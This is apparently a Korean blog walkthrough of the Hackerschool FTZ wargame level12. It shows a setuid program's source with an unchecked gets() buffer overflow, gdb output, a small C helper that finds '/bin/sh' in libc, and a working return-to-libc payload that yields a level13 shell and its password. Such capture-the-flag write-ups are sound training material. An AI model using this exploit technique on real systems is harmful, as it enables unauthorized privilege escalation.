Wargame/FTZ

Hackerschool FTZ level12

pwn3r_45 2011. 7. 28. 23:36

Category : System hacking

ssh://ftz.hackerschool.org
id : level12
pw : it is like this

Summary : buffer overflow on redhat 6.2


서버에 접속하여 문제 파일을 확인한다.

[level12@ftz level12]$ ls -l
합계 28
-rwsr-x---    1 level13  level12     13771  3월  8  2003 attackme
-rw-r-----    1 root     level12       204  3월  8  2003 hint
drwxr-xr-x    2 root     level12      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level12      4096  7월 21 05:15 tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
 char str[256];

  setreuid( 3093, 3093 );
 printf( "문장을 입력하세요.\n" );
 gets( str );
 printf( "%s\n", str );


hint 파일에는 attackme 라는 프로그램의 source가 있다.
source를 보게되면 gets함수로 인해 buffer overflow 취약점이 발생함을 할 수 있다.. level13 user의 프로그램인 attackme에는 setuid가 걸려있으므로 overflow취약점을 이용하여 level13 user의 쉘을 획득할 수 있다.

이번에는 공유라이브러리의 system함수의 주소를 return address에 덮어주고 , 인자로 공유라이브러리내에 있는 "/bin/sh"라는 문자열의 주소를 넣어주어 공격할 것이다.
우선 ,  필요한 정보들을 수집한다.

0x08048473 <main+3>: sub    $0x108,%esp

지역변수의 크기는 264byte이므로 return address를 덮기위해선 sfp 포함 268byte를 채워주어야한다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4005f430 <system>

공유라이브러리에서 "/bin/sh"라는 문자열을 찾아주는 간단한 프로그램을 작성해 실행한다.

[level12@ftz .pwn3r]$ cat whereisit.c
#include <stdio.h>

int main()
{
 long addr = 0x4005f430;
 while(memcmp((void *)addr , "/bin/sh" , 7)) addr++;
 printf("0x%x\n" , addr);
}
[level12@ftz .pwn3r]$ gcc -o whereisit whereisit.c
[level12@ftz .pwn3r]$ ./whereisit
0x4014ad24


필요한 정보를 모두 얻었으므로 공격한다.

[level12@ftz .pwn3r]$ (python -c 'print "a"*268 + "\x30\xf4\x05\x40" + "bbbb" + "\x24\xad\x14\x40"';cat) | ~/attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0?bbbb$?@
       
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass

Level13 Password is "have no clue".


level13 user의 쉘을 획득하고 password를 얻었다.